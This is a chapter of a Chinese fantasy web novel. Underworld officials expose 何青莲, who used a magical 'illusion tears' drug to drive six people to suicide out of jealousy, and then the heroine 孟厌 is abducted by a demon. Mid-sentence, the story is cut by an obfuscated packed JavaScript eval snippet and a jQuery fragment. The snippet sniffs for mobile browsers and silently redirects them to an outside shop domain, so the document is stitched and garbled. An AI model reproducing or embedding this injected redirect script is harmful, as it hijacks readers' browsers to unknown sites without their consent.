月影重重,何青莲的爹娘兀自在说:“她和少渊成亲后,少渊爹娘来找过我们一次。”
胡少渊与何红莲的亲事,由胡少渊爹娘亲自定下。
自何青莲替何红莲嫁进胡家后,胡少渊爹娘慢慢察觉不对,“他们说她心狠手辣,整日缠着少渊,不准他出门。还问我们,她到底是红莲还是青莲?”
“她自小最会装成红莲骗人,我们只能猜她是青莲,却不敢肯定。”因这一丝的犹豫,他们并未说出成亲当日的怪事,也并未告知胡少渊爹娘,何青莲身边之人接连自尽一事。
可后来,他们听到去许郡的村人回来说:胡少渊的爹娘也死了。
“我们去了胡家,又是求她又是打她骂她,让她不准再害人。”何青莲的娘捂脸直哭。他们没有证据,只能凭借只言片语猜出这些人的死亡,大概与自己的女儿何青莲有关。
可惜,何青莲不仅没有停止害人,这次还拆散了一个家。
何青莲爹娘追问他们,她这次害了谁。
三人你看我,我看你。最后温僖沉声开口,“我们只是来问问。”
回地府的路上,夜静更阑,月影朦胧,隔了树梢照过来。
孟厌仔细算了算,何青莲身边莫名自尽之人,竟已有六人之多。
崔子玉声音发闷,“真是她吗?”
她实在不敢信,那样一个被郎君殴打折磨侮辱的无助女子,竟是一个嫉妒成性,滥杀无辜之人。
温僖回她,“明日问问她,便知晓了。”
过鬼门关时,碰见神荼,他在此已等候很久。
崔子玉上前与他说:“我们已找到一人,大约是凶手,准备明日去问她。”
神荼遥遥向他们道谢,“多谢。”
翌日,天光大亮。
三人去了胡家,胡少渊不在,家中仅何青莲在房中忙活。
她见他们又来找她,笑着迎上去,“多谢恩人昨日帮腔。如今我的日子如蜜里调油般甜,真的不用报官了。”
崔子玉借口有事问胡少渊,带着孟厌与温僖坐到院中等待。何青莲来回走过,又不好赶走三人,索性去了房中继续收拾。
午时初,胡少渊抱着一袋米归家。隔的老远,孟厌都能听见他的喊声,“红莲,我回来了。”
他的语气中翻腾着爱意,与往日殴打妻子之人截然不同。
孟厌看向正要走去开门的何青莲,“你终于忍不住,也给他下了幻泪吗?”
何青莲扭头,目光中满是迷茫之色,“姑娘,你在说什么?我不大听得懂。”
胡少渊进门后,见到院中三人,热情招呼,“红莲,他们是你的好友吗?”
何青莲笑着点点头,“算是吧。”
温僖从房中走出,递上一杯茶水给胡少渊,何青莲看了一眼却未阻止。
半个时辰后,温柔的胡少渊消失,一把推开坐在他身旁的何青莲,急躁地问她:“他们怎么又来了?”
何青莲被他推倒,眼中闪过诧异之色,“你们做了什么?”
温僖晃晃手中的瓷瓶,笑得神采飞扬,“帮他解毒罢了。”
胡少渊听到他们的交谈之语,想起自昨日吃了何青莲递来的吃食后,自己便好似做梦一般。梦中的他娶了心上人何红莲,夫妻情深,日子安稳。
但梦醒一睁眼,他还是娶了何青莲这个毒妇。
胡少渊:“你给我吃了什么?”
何青莲温柔回应:“让你开心的东西,你这两日不开心吗?”
胡少渊指着她大骂,“毒妇!害了红莲与我爹娘还不够,你还想害我。”
何青莲扑上前,泪光莹莹,“胡郎,他们妄想分开我们,死有余辜。我没有害过你。”
事已至此,何青莲也不装了,大方承认彭汜的毒是她所下。
崔子玉带着哭腔,步步走近,“为什么?”
何青莲大声吼道:“她凭什么过得比我好!”
再好的人都可以变得狠毒,只要她尝过什么叫嫉妒。
未出嫁时,何青莲嫉妒姐姐何红莲。她们相貌一样,偏偏姐姐得了好夫婿,可以去许郡生活,而她却要一辈子留在谷里村,嫁给镇上的屠夫。
她看着登门求亲的胡少渊,心动了。想起那人说的好东西,她将幻泪掺进姐姐的吃食中。
果然过了几日,姐姐因幻觉跳水自尽,救回来时已是一具尸体。
她们姐妹长得一样,自姐姐消失那日,她便用心扮做姐姐。
她装得很像,可谓天衣无缝,连她的爹娘及姐姐相熟之人都未曾起疑。
唯独胡少渊,还是认出她了。
他们成亲后不到三个月,胡少渊便质问她,“你到底是谁?”
她扯了无数个谎,来证明她是何红莲,胡少渊却总说她和红莲不一样。
她不知道哪里不一样,可她知道胡少渊的爹娘已经开始怀疑她,他们旁敲侧击问她是不是害过人。那些人是因幻觉而死,怎么能怪到她身上?
胡少渊不在家的那半个月,他们去谷里村的日子越来越多。
她没办法,只好用两滴幻泪,送他们这对恩爱夫妇去了黄泉路团聚。
去年,她开始嫉妒梁芙蕖。
彭汜与胡少渊喝酒,常常炫耀梁芙蕖是难得的贤妻。以致于胡少渊每次打她,都会提一句,“你瞧瞧梁嫂子,再看看你。”
梁芙蕖既然千好万好,她便毁了她所有的好。
语罢,何青莲站在房中,大笑起来,“你们就算知晓了真相,又如何?他们自尽而死,关我什么事。”
胡少渊听她说完,上前要杀了她,被崔子玉拦住,“何苦为了她,赔上一条命。”
真相查清,被何青莲害死的游魂出现,齐齐围在她身边,而她还兀自笑着。
出胡家时,黑白无常与月浮玉都在。
月浮玉数了数跟着他们身后的游魂,痛快地给孟厌加了二十六分,“二十四分为查冤拘魂,另外两分为发现恶魂。”
黑白无常惊讶一个凡人因为嫉妒居然害死了六个人,拉着孟厌不停问,“这人会有什么惩罚?”
崔子玉路过三人身边,“她会好好活到五十岁。”
黑白无常震惊,“岂不是什么惩罚都没有?”
何青莲说的对,就算他们知晓了真相,也是徒劳无功。
幻泪之说,天方夜谭。
他们没有证据,官府不会信的。
万幸何青莲手中的七滴幻泪已用完,她再也不能害人。
胡少渊决绝地要休妻。
她所珍视的一切从今日开始,将全部失去。
可这算是惩罚吗?
孟厌看着走在最后的梁芙蕖,实在说不出“算”这一字。
六个无辜者因何青莲的嫉妒丢了命,差点连轮回都入不了。
而何青莲,也仅仅只是失去了郎君而已。
彭汜当日从胡少渊口中得知真相,提了一把刀想去找何青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305663|137681||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
莲报仇,被他爹娘拉住,让他想想孩子。
他叹了一口气,去了梁芙蕖的坟前,说自己对不住她。
梁芙蕖站在他身后,轻声回了一句,“没关系。”
说完,她对着神荼弯腰道谢,提步跟着黑白无常离开。
神荼正要跟着回地府,月浮玉上前道:“鬼帝神荼,无视地府规矩,私自引渡游魂,扣一百分。”
孟厌与崔子玉目瞪口呆。神荼倒不在意,拍拍月浮玉的肩膀,潇洒离去,“月大人,地府有你,是幸事。”
神荼能来,全因崔子玉提前告知了他真相。
他对梁芙蕖有愧,等现魂后,特意跑来问梁芙蕖是否有未尽之事,他可以帮忙。
地府中,由神荼带队,一行人送六个游魂去了奈何桥。
等他们投胎之后,神荼站在桥上笑道:“又送她转世一次。”
正要回房,温僖大喊糟糕,“完了,巫即的妖血还在胡家。”
孟厌一边怨他拖后腿,一边拉上他去胡家找妖血,崔子玉跟着两人身后。
刚走到胡家,便见胡少渊将何青莲推出门,甩给她一封休书。
何青莲与他们擦身而过,眼神阴森,似要杀人。
温僖拿走装有妖血的瓶子,三人回地府的路上,却碰见何青莲跟着一个姑娘。
崔子玉怕出事,忙招呼孟厌与温僖跟上。
前面两人的路越走越偏,崔子玉心中起疑,一回头却发现孟厌不见了,“孟厌呢?”
温僖跟着回头,发现原本跟在他身后的孟厌,早已不见踪影。
“快喊地府的人来,她没准被什么厉害的妖怪抓走了。”
闻言,崔子玉捻决施法。
不到一炷香,今日在附近巡视的顾一岐赶来,之后是带着牛头马面走来的月浮玉。
“出了何事?”
崔子玉:“长话短说,孟厌不见了。”
温僖补充:“我方才原路折返回去,也不见她。”
六人兵分五路,除了崔子玉与月浮玉留下继续跟着何青莲,其余四人沿着林中的四个路口寻找。
温僖去了正东方向,一路走一路喊孟厌。
在密林中转了两圈,无人回应。他心中着急,只得求另一个人,“快帮忙找她。”
那人嗤笑他没出息。
他发了狠,把刀抵在脖子处,“你若不帮忙找她,我现在就把自个杀了。”
“往左边走,里面有一间房,她就在里面。”
温僖瞧了一眼他说的房子方向,好似有些远,“那你先过去帮我看看,要是有人杀她,你就出手救她。”
那人骂他和孟厌一样烦,温僖将刀又抵在脖子处,“你看着办。”
一道红光闪过,妖气升腾而起。
顾一歧在温僖反方向,一回头便看见妖气冲天,暗道不好,匆忙追随妖气而去。
密林深处的房间中,孟厌躺在床上昏昏沉沉,旁边站了一个人。
她看着这人轻浮的背影想起来了,是巫即。趁她迷路找不到温僖,扮做温僖来找她,带着她来了此处。
眼看巫即越走越近,孟厌撑着身子起来,“你要做什么?”
巫即笑得一脸邪魅,“原来你是地府的孟婆啊。”他尝过人和妖的味道,至今还没尝过地府神仙的味道。
孟厌中了迷药,勉强起身又无力躺下。
眼皮合上之际,她在想:“不是吧,怎么还有劫色的啊?”